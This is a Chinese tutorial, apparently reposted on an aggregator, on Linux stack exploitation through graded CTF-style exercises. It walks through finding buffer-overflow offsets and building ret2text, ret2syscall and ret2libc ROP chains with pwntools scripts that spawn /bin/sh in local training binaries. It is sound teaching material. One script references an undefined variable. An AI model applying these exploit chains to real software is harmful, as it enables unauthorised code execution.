Linux PWN从入门到熟练
最近在復習pwn的一些知識。主要涉及到當堆棧開啟了保護的時候,我們不能夠直接將shellcode覆蓋到堆棧中執行,而需要利用程序其他部分的可執行的小片段來連接成最終的shellcode。此小片段就是gadgets。本文主要通過練習題的方式講述如何尋找gadgets,如何利用現有的工具來加速自己的pwn的效率。Gadgets的類型和難度也逐步變化。下面帶來手把手教你linux pwn。讓你的pwn技術從入門到熟練。練習題的難度逐步加大。
第一關
第一關的gadgets較為簡單,包含了一個直接可以利用的,可返回shell的函數。我們只要計算好覆蓋的偏移,將可返回shell函數的地址覆蓋到相應的位置即可以。程序下載:Pwn1
我們首先來查看一下該程序的保護情況,發現開啟了堆棧保護。即NX enabled。且是32bit的程序。因此需要在32位的linux環境下測試。
這里涉及到一個工具,chechsec。該工具專門用來檢測程序中受保護的情況,我們可以根據程序受保護的情況來選擇對應的pwn策略。
下載以后,直接在命令行中建立符號鏈接就可以在terminal中直接使用了
sudo ln –sf checksec /usr/bin/checksec接下來我們利用IDA查看一下程序的源代碼:
可以發現漏洞出現在gets里面,gets函數存在緩沖區溢出漏洞,我們可以通過超長的字符串來覆蓋緩沖區,從而修改ROP。為了達到這個目的,我們需要首先計算,輸入的&s的堆棧地址位置距離堆棧的底部ebp的位置。Ebp的下一個地址,就是記錄了返回地址的位置。在32位的程序中,就是ebp+4。其中,Esp是棧頂指針,ebp是棧底指針。Esp -> ebp, 地址從小到大。小地址棧頂,大地址棧底。
我們有兩種方法可以得到s距離返回地址的偏移:徒手計算和利用patternoffset產生字符串。
首先第一種方法,徒手計算。我們利用gdb的輔助工具gef來輔助查看esp地址。
注意,這里需要按照這個輔助工具,gef,該工具會提供更加豐富的調試信息。包括堆棧信息,寄存器信息等。按照完畢之后,使用gdb –q *.elf執行就可以。
啟動的程序之后,我們在上述get函數的位置下斷點,即0x080486AE
可以看到 esp 為 0xbfffeed0,ebp為0xbfffef58,同時 s 相對于 esp 的索引為[esp+80h-64h]= [esp+0x1c]。所以s的地址為 0xbfffeeec,所以 s 相對于 ebp 的偏移為 0x6C(108),所以相對于返回地址的偏移為 0x6c+4(112)。
另外一種方法是利用patternoffset執行來計算。借助到這個工具patternoffset。下載下來直接作為python腳本使用。利用下面的命令產生字符串到test的文件中:
python patternLocOffset.py -c -l 700 -f test接著遠程IDA掛載調試,在程序的返回位置下斷點,即retn的位置。
它會在遠程的服務器端等待我的輸入
~/ $ ./linux_server IDA Linux 32-bit remote debug server(ST) v1.22. Hex-Rays (c) 2004-2017 Listening on 0.0.0.0:23946... ========================================================= [1] Accepting connection from 192.168.110.1... There is something amazing here, do you know anything?在這個位置,我就把產生的pattern計算字符串復制進去。(注意,如果這里始終沒有讓程序停下來讓你輸入對應的字符串進去的話,就斷開ubuntu的server,然后重新連接一下,就會停下來等待我們的字符串輸入)
接著,查看程序覆蓋的寄存器ebp的內容為0x41366441
再利用offset的腳本計算一下輸入的緩沖區地址距離ESP相差多少的字節,相差的是108個字節。ESP之后,存儲的就是返回的地址,所以要加上108+4=112字節的偏移。
得到的結果和上面是一致的。
接下來,我們需要找到可以利用的系統調用函數。在IDA中搜索(alt+T)可以利用來的系統sh調用函數:
最后,將需要覆蓋的地址0x0804863A填入指定的位置覆蓋,在利用pwntools來驗證攻擊。這里利用到了一個pwntools工具。推薦使用基于源代碼的安裝方式,可以更為方便。
安裝方式為:
cd ~ git clone https://github.com/aquynh/capstone cd capstone make make install cd ~ git clone https://github.com/Gallopsled/pwntools cd pwntools python setup.py install驗證:
>>> import pwn [!] Pwntools does not support 32-bit Python. Use a 64-bit release. >>> pwn.asm("xor eax, eax") '1xc0'使用下面的腳本來驗證攻擊:
from pwn import * pwn1 = process('./pwn1') sh = 0x804863a pwn1.sendline('A' * (112) + p32(target)) pwn1.interactive()?
第二關
在這一關中,沒有可以直接利用的system()函數讓我們直接調用了。我們可以學習使用系統調用來進行操作。系統調用的背景知識在這里。
Pwn2
Syscall的函數調用規范為: execve(“/bin/sh”, 0,0);
它對應的匯編代碼為:
pop eax, # 系統調用號載入, execve為0xb pop ebx, # 第一個參數, /bin/sh的string pop ecx, # 第二個參數,0 pop edx, # 第三個參數,0 int 0x80, # 執行系統調用同樣的,首先利用工具來查看程序保護情況:
查看程序的代碼,發現同樣是gets造成的函數溢出。
因此我們這里需要人為的構造了。這里需要用到一個工具,來查到能夠控制eax,ebx,ecx,edx。就是ROPgadget。下載之后,直接安裝
python setup.py install就可以使用了。執行命令,來查找對一個的匯編指令:
ROPgadget --binary ret2syscall --only 'pop|ret' | grep "eax"其中—binary 表示目標二進制的路徑,—only 表示只顯示指定的匯編語句, grep可以展示想要的寄存器。
針對eax選擇,0x080bb196 : pop eax ; ret
針對ebx和ecx選擇,0x0806eb91 : pop ecx ; pop ebx ; ret
針對edx,選擇,0x0806eb6a : pop edx ; ret
執行命令,篩選int 0x80的系統調用, 選擇:0x08049421
ROPgadget --binary ret2syscall --only 'int'執行命令,篩選字符串,得到:0x080be408
ROPgadget --binary ret2syscall --string '/bin/sh'這里選擇的每一個gadgets都含有ret是為了能夠使得程序自動持續的選擇堆棧中的指令依次執行。在構造這些gadgets之前,我們通過下面的堆棧指針移動圖,來分析一下eip指針的移動,以及對應獲取的數據內容。ret指令可以理解成去棧頂的數據作為下次跳轉的位置。即,
eip = [esp];esp = esp+4;或者簡單理解成: pop eip;
上圖中,左邊顯示的堆棧的內容,右邊是對應的代碼。數字表示的是,運行到特定的匯編指令的時候,esp指針的位置。總結下來,我們通過pop指令來移動esp指針獲取數據,比如字符串/bin/sh,我們通過ret指令來同樣移動esp指針來獲取下一條執行的命令。這樣,我們就能夠在不需要與堆棧中執行程序的情況下,順利的控制程序控制流的執行。
最終形成的shellcode利用pwntools的代碼為:
#!/usr/bin/env python from pwn import *sh = process('./ret2syscall')pop_eax_ret = 0x080bb196 pop_ecx_ebx_ret = 0x0806eb91 pop_edx_ret = 0x0806eb6a int_0x80 = 0x08049421 binsh = 0x80be408 payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_ecx_ebx_ret, 0,binsh, pop_edx_ret,0, int_0x80]) sh.sendline(payload) sh.interactive()?
第三關
這一關中,我們主要通過導入函數里面的system(“/bin/sh”)函數來完成調用。
Pwn3
發現它的保護也是類似的。該程序與之前類似,都是在gets函數存在漏洞。
首先查找system函數是否存在,利用IDA查看。
查看導入函數表,發現有system的外部調用函數在列表里面,
從而確定地址為0x08048460。
在利用下面的命令查找”/bin/sh”的字符串,確定了字符串的地址為0x08048720
ROPgadget --binary ret2libc1 --string "/bin/sh"那么就可以依葫蘆畫瓢的構造shellcode了。
#!/usr/bin/env python from pwn import *sh = process('./ret2libc1')system_plt = 0x08048460 sh_addr = 0x8048720 payload = flat(['a' * 112, system_plt, 0xabcdabcd, sh_addr]) sh.sendline(payload)sh.interactive()這里解釋一下,為什么會有4個字節空余的部分。
這里的部分,在正常調用system函數的時候,堆棧位置的system_plt之后的內容為system函數的返回地址,在之后才是新的堆棧的棧頂位置,因此在system_plt和sh_addr之間增加了4個字符來進行填充。
練習題:pwn4
下面留下一道題大家自己練習,該題目中,含有導入函數system(),但是沒有了字符串/bin/sh,需要自己想辦法獲取這個字符串。
?
?
?
?
總結
以上是生活随笔為你收集整理的Linux PWN从入门到熟练的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Golang make chan 第二个
- 下一篇: Python输出带颜色字体